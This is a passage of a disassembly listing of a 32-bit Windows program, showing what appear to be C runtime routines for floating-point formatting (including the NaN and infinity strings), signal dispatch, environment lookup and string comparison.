loc_425C80 dec [ebp+var_4] inc [ebp+var_8] jmp short loc_425C72 ; --------------------------------------------------------------------------- loc_425C80: ; CODE XREF: sub_4258C1+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_4257FA mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_425C9F neg eax loc_425C9F: ; CODE XREF: sub_4258C1+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_425CAA add eax, [ebp+arg_10] loc_425CAA: ; CODE XREF: sub_4258C1+3E4j cmp [ebp+var_24], ecx jnz short loc_425CB2 sub eax, [ebp+arg_14] loc_425CB2: ; CODE XREF: sub_4258C1+3ECj cmp eax, 1450h jle short loc_425CE9 mov [ebp+var_2C], 1 loc_425CC0: ; CODE XREF: sub_4258C1+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_425CCC: ; CODE XREF: sub_4258C1+454j ; sub_4258C1+45Ej cmp [ebp+var_2C], 0 jz short loc_425D32 xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_425D47 ; --------------------------------------------------------------------------- loc_425CE9: ; CODE XREF: sub_4258C1+3F6j cmp eax, 0FFFFEBB0h jge short loc_425CF9 mov [ebp+var_30], 1 jmp short loc_425CC0 ; --------------------------------------------------------------------------- loc_425CF9: ; CODE XREF: sub_4258C1+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_4264AA mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_425CCC ; --------------------------------------------------------------------------- loc_425D17: ; CODE XREF: sub_4258C1+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_425CCC ; --------------------------------------------------------------------------- loc_425D21: ; CODE XREF: sub_4258C1+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_425D47 ; --------------------------------------------------------------------------- loc_425D32: ; CODE XREF: sub_4258C1+40Fj cmp [ebp+var_30], 0 jz short loc_425D47 xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_425D47: ; CODE XREF: sub_4258C1+426j ; sub_4258C1+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_4258C1 endp ; --------------------------------------------------------------------------- off_425D62 dd offset loc_42592B ; DATA XREF: sub_4258C1+63r dd offset loc_42597A ; jump table for switch statement dd offset loc_4259D1 dd offset loc_4259FB dd offset loc_425A56 dd offset loc_425ACD dd offset loc_425B03 dd offset loc_425B4D dd offset loc_425B2C dd offset loc_425BB1 dd offset loc_425B9B dd offset loc_425B67 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425D92 proc near ; CODE XREF: sub_424CB9+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_425DF4 mov byte ptr [ebx+2], 2Dh jmp short loc_425DF8 ; --------------------------------------------------------------------------- loc_425DF4: ; CODE XREF: sub_425D92+5Aj mov byte ptr [ebx+2], 20h loc_425DF8: ; CODE XREF: sub_425D92+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_425E1E test edi, edi jnz short loc_425E1E cmp [ebp+arg_0], edi jnz short loc_425E1E loc_425E09: ; CODE XREF: sub_425D92+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_42601C ; --------------------------------------------------------------------------- loc_425E1E: ; CODE XREF: sub_425D92+6Cj ; sub_425D92+70j ... cmp dx, si jnz short loc_425E9D mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_425E37 cmp [ebp+arg_0], 0 jz short loc_425E46 loc_425E37: ; CODE XREF: sub_425D92+9Dj test edi, 40000000h jnz short loc_425E46 push offset a1Snan ; "1#SNAN" jmp short loc_425E8C ; --------------------------------------------------------------------------- loc_425E46: ; CODE XREF: sub_425D92+A3j ; sub_425D92+ABj test cx, cx jz short loc_425E60 cmp edi, 0C0000000h jnz short loc_425E60 cmp [ebp+arg_0], 0 jnz short loc_425E87 push offset a1Ind ; "1#IND" jmp short loc_425E6F ; --------------------------------------------------------------------------- loc_425E60: ; CODE XREF: sub_425D92+B7j ; sub_425D92+BFj cmp edi, eax jnz short loc_425E87 cmp [ebp+arg_0], 0 jnz short loc_425E87 push offset a1Inf ; "1#INF" loc_425E6F: ; CODE XREF: sub_425D92+CCj lea eax, [ebx+4] push eax call sub_41C520 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_425E7E: ; CODE XREF: sub_425D92+109j and [ebp+var_4], 0 jmp loc_425FF5 ; --------------------------------------------------------------------------- loc_425E87: ; CODE XREF: sub_425D92+C5j ; sub_425D92+D0j ... push offset a1Qnan ; "1#QNAN" loc_425E8C: ; CODE XREF: sub_425D92+B2j lea eax, [ebx+4] push eax call sub_41C520 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_425E7E ; --------------------------------------------------------------------------- loc_425E9D: ; CODE XREF: sub_425D92+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_4264AA add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_425EFE lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_42628A pop ecx pop ecx loc_425EFE: ; CODE XREF: sub_425D92+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_425F18 mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_425F1B jmp loc_425E09 ; --------------------------------------------------------------------------- loc_425F18: ; CODE XREF: sub_425D92+173j mov edi, [ebp+arg_C] loc_425F1B: ; CODE XREF: sub_425D92+17Fj cmp edi, 15h jle short loc_425F23 push 15h pop edi loc_425F23: ; CODE XREF: sub_425D92+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_425F39: ; CODE XREF: sub_425D92+1B4j lea eax, [ebp+var_10] push eax call sub_42579F dec [ebp+arg_14] pop ecx jnz short loc_425F39 test esi, esi jge short loc_425F63 neg esi and esi, 0FFh jle short loc_425F63 loc_425F56: ; CODE XREF: sub_425D92+1CFj lea eax, [ebp+var_10] push eax call sub_4257CD dec esi pop ecx jnz short loc_425F56 loc_425F63: ; CODE XREF: sub_425D92+1B8j ; sub_425D92+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_425FC0 mov [ebp+arg_C], ecx loc_425F73: ; CODE XREF: sub_425D92+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_42579F lea eax, [ebp+var_10] push eax call sub_42579F lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_425741 lea eax, [ebp+var_10] push eax call sub_42579F mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_425F73 mov eax, [ebp+arg_14] loc_425FC0: ; CODE XREF: sub_425D92+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_425FFD loc_425FCD: ; CODE XREF: sub_425D92+248j cmp eax, ecx jb short loc_425FE0 cmp byte ptr [eax], 39h jnz short loc_425FDC mov byte ptr [eax], 30h dec eax jmp short loc_425FCD ; --------------------------------------------------------------------------- loc_425FDC: ; CODE XREF: sub_425D92+242j cmp eax, ecx jnb short loc_425FE4 loc_425FE0: ; CODE XREF: sub_425D92+23Dj inc eax inc word ptr [ebx] loc_425FE4: ; CODE XREF: sub_425D92+24Cj inc byte ptr [eax] loc_425FE6: ; CODE XREF: sub_425D92+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_425FF5: ; CODE XREF: sub_425D92+F0j mov eax, [ebp+var_4] loc_425FF8: ; CODE XREF: sub_425D92+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_425FFD: ; CODE XREF: sub_425D92+239j ; sub_425D92+275j cmp eax, ecx jb short loc_42600D cmp byte ptr [eax], 30h jnz short loc_426009 dec eax jmp short loc_425FFD ; --------------------------------------------------------------------------- loc_426009: ; CODE XREF: sub_425D92+272j cmp eax, ecx jnb short loc_425FE6 loc_42600D: ; CODE XREF: sub_425D92+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_42601C: ; CODE XREF: sub_425D92+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_425FF8 sub_425D92 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426025 proc near ; CODE XREF: sub_422BFC+229Dp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_42608C dec eax dec eax jz short loc_42607D sub eax, 4 jz short loc_42607D sub eax, 3 jz short loc_42607D sub eax, 4 jz short loc_426070 sub eax, 6 jz short loc_426063 dec eax jz short loc_426056 or eax, 0FFFFFFFFh jmp loc_42614E ; --------------------------------------------------------------------------- loc_426056: ; CODE XREF: sub_426025+27j mov esi, dword_4DE8CC mov eax, offset dword_4DE8CC jmp short loc_426097 ; --------------------------------------------------------------------------- loc_426063: ; CODE XREF: sub_426025+24j mov esi, dword_4DE8C8 mov eax, offset dword_4DE8C8 jmp short loc_426097 ; --------------------------------------------------------------------------- loc_426070: ; CODE XREF: sub_426025+1Fj mov esi, dword_4DE8D0 mov eax, offset dword_4DE8D0 jmp short loc_426097 ; --------------------------------------------------------------------------- loc_42607D: ; CODE XREF: sub_426025+10j ; sub_426025+15j ... push edi call sub_426152 mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_426097 ; --------------------------------------------------------------------------- loc_42608C: ; CODE XREF: sub_426025+Cj mov esi, dword_4DE8C4 mov eax, offset dword_4DE8C4 loc_426097: ; CODE XREF: sub_426025+3Cj ; sub_426025+49j ... cmp esi, 1 jnz short loc_4260A3 xor eax, eax jmp loc_42614E ; --------------------------------------------------------------------------- loc_4260A3: ; CODE XREF: sub_426025+75j test esi, esi jnz short loc_4260AE push 3 call sub_41BE32 loc_4260AE: ; CODE XREF: sub_426025+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_4260C0 cmp edi, 0Bh jz short loc_4260C0 cmp edi, 4 jnz short loc_4260E6 loc_4260C0: ; CODE XREF: sub_426025+8Fj ; sub_426025+94j mov ebx, dword_4DE6A0 and dword_4DE6A0, 0 cmp edi, ecx jnz short loc_426115 mov edx, dword_43FC6C mov dword_43FC6C, 8Ch mov [ebp+arg_0], edx jmp short loc_4260E9 ; --------------------------------------------------------------------------- loc_4260E6: ; CODE XREF: sub_426025+99j mov ebx, [ebp+arg_0] loc_4260E9: ; CODE XREF: sub_426025+BFj cmp edi, ecx jnz short loc_426115 mov eax, dword_43FC60 mov ecx, dword_43FC64 add ecx, eax cmp eax, ecx jge short loc_42611C lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:43FBF0h[edx*4] loc_42610A: ; CODE XREF: sub_426025+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_42610A jmp short loc_42611C ; --------------------------------------------------------------------------- loc_426115: ; CODE XREF: sub_426025+AAj ; sub_426025+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_42612A loc_42611C: ; CODE XREF: sub_426025+D7j ; sub_426025+EEj push dword_43FC6C push 8 call esi pop ecx pop ecx jmp short loc_426138 ; --------------------------------------------------------------------------- loc_42612A: ; CODE XREF: sub_426025+F5j push edi call esi cmp edi, 0Bh pop ecx jz short loc_426138 cmp edi, 4 jnz short loc_42614B loc_426138: ; CODE XREF: sub_426025+103j ; sub_426025+10Cj cmp edi, 8 mov dword_4DE6A0, ebx jnz short loc_42614B mov eax, [ebp+arg_0] mov dword_43FC6C, eax loc_42614B: ; CODE XREF: sub_426025+111j ; sub_426025+11Cj xor eax, eax pop ebx loc_42614E: ; CODE XREF: sub_426025+2Cj ; sub_426025+79j pop edi pop esi pop ebp retn sub_426025 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_426152 proc near ; CODE XREF: sub_426025+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43FC68 cmp dword_43FBEC, edx push esi mov eax, offset dword_43FBE8 jz short loc_426180 lea esi, [ecx+ecx*2] lea esi, ds:43FBE8h[esi*4] loc_426174: ; CODE XREF: sub_426152+2Cj add eax, 0Ch cmp eax, esi jnb short loc_426180 cmp [eax+4], edx jnz short loc_426174 loc_426180: ; CODE XREF: sub_426152+16j ; sub_426152+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43FBE8h[ecx*4] cmp eax, ecx jnb short loc_426194 cmp [eax+4], edx jz short locret_426196 loc_426194: ; CODE XREF: sub_426152+3Bj xor eax, eax locret_426196: ; CODE XREF: sub_426152+40j retn sub_426152 endp ; =============== S U B R O U T I N E ======================================= sub_426197 proc near ; CODE XREF: sub_424EBC+23p arg_0 = dword ptr 4 cmp dword_4DFC70, 0 push ebx push esi mov esi, dword_4DE5EC push edi jz short loc_42620E test esi, esi jnz short loc_4261C8 cmp dword_4DE5F4, esi jz short loc_42620E call sub_426565 test eax, eax jnz short loc_42620E mov esi, dword_4DE5EC test esi, esi jz short loc_42620E loc_4261C8: ; CODE XREF: sub_426197+14j mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_42620E push ebx call sub_41B650 pop ecx mov edi, eax loc_4261D9: ; CODE XREF: sub_426197+6Dj mov eax, [esi] test eax, eax jz short loc_42620E push eax call sub_41B650 cmp eax, edi pop ecx jbe short loc_426201 mov eax, [esi] cmp byte ptr [eax+edi], 3Dh jnz short loc_426201 push edi push ebx push eax call sub_426526 add esp, 0Ch test eax, eax jz short loc_426206 loc_426201: ; CODE XREF: sub_426197+51j ; sub_426197+59j add esi, 4 jmp short loc_4261D9 ; --------------------------------------------------------------------------- loc_426206: ; CODE XREF: sub_426197+68j mov eax, [esi] lea eax, [eax+edi+1] jmp short loc_426210 ; --------------------------------------------------------------------------- loc_42620E: ; CODE XREF: sub_426197+10j ; sub_426197+1Cj ... xor eax, eax loc_426210: ; CODE XREF: sub_426197+75j pop edi pop esi pop ebx retn sub_426197 endp ; =============== S U B R O U T I N E ======================================= sub_426214 proc near ; CODE XREF: sub_4255DA+8Bp ; sub_4255DA+D9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DFA20 jnb short loc_42627B mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DF920[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_42627B mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_426254 and cl, 7Fh jmp short loc_426261 ; --------------------------------------------------------------------------- loc_426254: ; CODE XREF: sub_426214+39j cmp [esp+4+arg_4], 4000h jnz short loc_42626F or cl, 80h loc_426261: ; CODE XREF: sub_426214+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_42626F: ; CODE XREF: sub_426214+48j mov dword_4DE5C4, 16h jmp short loc_426285 ; --------------------------------------------------------------------------- loc_42627B: ; CODE XREF: sub_426214+Bj ; sub_426214+27j mov dword_4DE5C4, 9 loc_426285: ; CODE XREF: sub_426214+65j or eax, 0FFFFFFFFh pop esi retn sub_426214 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42628A proc near ; CODE XREF: sub_425D92+165p ; sub_4264AA+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_42648A cmp cx, 7FFFh jnb loc_42648A cmp dx, 0BFFDh ja loc_42648A cmp dx, 3FBFh ja short loc_4262F3 xor eax, eax jmp short loc_42632D ; --------------------------------------------------------------------------- loc_4262F3: ; CODE XREF: sub_42628A+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_426315 inc [ebp+arg_0] test [esi+8], edx jnz short loc_426315 xor eax, eax cmp [esi+4], eax jnz short loc_426317 cmp [esi], eax jnz short loc_426317 jmp loc_426484 ; --------------------------------------------------------------------------- loc_426315: ; CODE XREF: sub_42628A+71j ; sub_42628A+79j xor eax, eax loc_426317: ; CODE XREF: sub_42628A+80j ; sub_42628A+84j cmp cx, ax jnz short loc_42633A inc [ebp+arg_0] test [ebx+8], edx jnz short loc_42633A cmp [ebx+4], eax jnz short loc_42633A cmp [ebx], eax jnz short loc_42633A loc_42632D: ; CODE XREF: sub_42628A+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_4264A5 ; --------------------------------------------------------------------------- loc_42633A: ; CODE XREF: sub_42628A+90j ; sub_42628A+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_42634A: ; CODE XREF: sub_42628A+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_42639E add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_426366: ; CODE XREF: sub_42628A+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_425720 add esp, 0Ch test eax, eax jz short loc_426391 mov eax, [ebp+var_4] inc word ptr [eax] loc_426391: ; CODE XREF: sub_42628A+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_426366 loc_42639E: ; CODE XREF: sub_42628A+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_42634A add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_4263E1 loc_4263BC: ; CODE XREF: sub_42628A+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_4263DA lea eax, [ebp+var_24] push eax call sub_42579F add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_4263BC loc_4263DA: ; CODE XREF: sub_42628A+136j cmp word ptr [ebp+arg_0], 0 jg short loc_42641A loc_4263E1: ; CODE XREF: sub_42628A+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_42641A movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_4263FA: ; CODE XREF: sub_42628A+184j test byte ptr [ebp+var_24], 1 jz short loc_426403 inc [ebp+var_14] loc_426403: ; CODE XREF: sub_42628A+174j lea eax, [ebp+var_24] push eax call sub_4257CD dec ebx pop ecx jnz short loc_4263FA cmp [ebp+var_14], 0 jz short loc_42641A or byte ptr [ebp+var_24], 1 loc_42641A: ; CODE XREF: sub_42628A+155j ; sub_42628A+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_426431 mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_426466 loc_426431: ; CODE XREF: sub_42628A+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_426463 and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_42645E and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_426458 inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_426466 ; --------------------------------------------------------------------------- loc_426458: ; CODE XREF: sub_42628A+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_426466 ; --------------------------------------------------------------------------- loc_42645E: ; CODE XREF: sub_42628A+1B5j inc [ebp+var_20+2] jmp short loc_426466 ; --------------------------------------------------------------------------- loc_426463: ; CODE XREF: sub_42628A+1ABj inc [ebp+var_24+2] loc_426466: ; CODE XREF: sub_42628A+1A5j ; sub_42628A+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_42648A mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_426484: ; CODE XREF: sub_42628A+86j mov [esi+0Ah], ax jmp short loc_4264A5 ; --------------------------------------------------------------------------- loc_42648A: ; CODE XREF: sub_42628A+42j ; sub_42628A+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_4264A5: ; CODE XREF: sub_42628A+ABj ; sub_42628A+1FEj pop edi pop esi pop ebx leave retn sub_42628A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4264AA proc near ; CODE XREF: sub_4258C1+440p ; sub_425D92+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_4400E8 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_426523 jge short loc_4264D2 mov eax, [ebp+arg_4] mov ebx, offset dword_440248 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_4264D2: ; CODE XREF: sub_4264AA+16j cmp [ebp+arg_8], ecx jnz short loc_4264DD mov eax, [ebp+arg_0] mov [eax], cx loc_4264DD: ; CODE XREF: sub_4264AA+2Bj cmp [ebp+arg_4], ecx jz short loc_426523 push esi push edi loc_4264E4: ; CODE XREF: sub_4264AA+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_42651C lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_42650F lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_42650F: ; CODE XREF: sub_4264AA+57j push esi push [ebp+arg_0] call sub_42628A pop ecx pop ecx xor ecx, ecx loc_42651C: ; CODE XREF: sub_4264AA+49j cmp [ebp+arg_4], ecx jnz short loc_4264E4 pop edi pop esi loc_426523: ; CODE XREF: sub_4264AA+14j ; sub_4264AA+36j pop ebx leave retn sub_4264AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426526 proc near ; CODE XREF: sub_426197+5Ep ; sub_4269D7+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_426533 xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_426533: ; CODE XREF: sub_426526+7j push dword_4DFA24 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_0] push 1 push dword_4DFC44 call sub_4265D3 add esp, 1Ch test eax, eax jnz short loc_426560 mov eax, 7FFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_426560: ; CODE XREF: sub_426526+31j add eax, 0FFFFFFFEh pop ebp retn sub_426526 endp ; =============== S U B R O U T I N E ======================================= sub_426565 proc near ; CODE XREF: sub_426197+1Ep ; sub_426850+5Bp var_4 = dword ptr -4 push ecx push ebx push ebp push esi mov esi, dword_4DE5F4 push edi xor edi, edi mov eax, [esi] cmp eax, edi jz short loc_4265C6 mov ebx, dword_42818C loc_42657E: ; CODE XREF: sub_426565+5Fj push edi push edi push edi push edi push 0FFFFFFFFh push eax push edi push 1 call ebx ; WideCharToMultiByte mov ebp, eax cmp ebp, edi jz short loc_4265CE push ebp call sub_41BB45 cmp eax, edi pop ecx mov [esp+14h+var_4], eax jz short loc_4265CE push edi push edi push ebp push eax push 0FFFFFFFFh push dword ptr [esi] push edi push 1 call ebx ; WideCharToMultiByte test eax, eax jz short loc_4265CE push edi push [esp+18h+var_4] call sub_426850 mov eax, [esi+4] add esi, 4 pop ecx cmp eax, edi pop ecx jnz short loc_42657E loc_4265C6: ; CODE XREF: sub_426565+11j xor eax, eax loc_4265C8: ; CODE XREF: sub_426565+6Cj pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_4265CE: ; CODE XREF: sub_426565+29j ; sub_426565+38j ... or eax, 0FFFFFFFFh jmp short loc_4265C8 sub_426565 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4265D3 proc near ; CODE XREF: sub_426526+27p var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_428CD8 push offset sub_423B80 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push ebx push esi push edi mov [ebp+var_18], esp xor ebx, ebx cmp dword_4DE8D8, ebx push 1 pop edi jnz short loc_426646 push edi mov eax, offset dword_428928 push eax push edi push eax push ebx push ebx call dword_428008 ; CompareStringW test eax, eax jz short loc_426623 mov dword_4DE8D8, edi jmp short loc_426646 ; --------------------------------------------------------------------------- loc_426623: ; CODE XREF: sub_4265D3+46j push edi mov eax, offset dword_4CE1C0 push eax push edi push eax push ebx push ebx call dword_42800C ; CompareStringA test eax, eax jz loc_42683C mov dword_4DE8D8, 2 loc_426646: ; CODE XREF: sub_4265D3+31j ; sub_4265D3+4Ej mov esi, [ebp+arg_C] cmp esi, ebx jle short loc_42665D push esi push [ebp+arg_8] call sub_42338E pop ecx pop ecx mov esi, eax mov [ebp+arg_C], esi loc_42665D: ; CODE XREF: sub_4265D3+78j cmp [ebp+arg_14], ebx jle short loc_426672 push [ebp+arg_14] push [ebp+arg_10] call sub_42338E pop ecx pop ecx mov [ebp+arg_14], eax loc_426672: ; CODE XREF: sub_4265D3+8Dj mov eax, dword_4DE8D8 cmp eax, 2 jnz short loc_426697 push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_42800C ; CompareStringA jmp loc_42683E ; --------------------------------------------------------------------------- loc_426697: ; CODE XREF: sub_4265D3+A7j cmp eax, edi jnz loc_42683C cmp [ebp+arg_18], ebx jnz short loc_4266AC mov eax, dword_4DE694 mov [ebp+arg_18], eax loc_4266AC: ; CODE XREF: sub_4265D3+CFj cmp esi, ebx jz short loc_4266B9 cmp [ebp+arg_14], ebx jnz loc_426751 loc_4266B9: ; CODE XREF: sub_4265D3+DBj cmp esi, [ebp+arg_14] jnz short loc_4266C6 loc_4266BE: ; 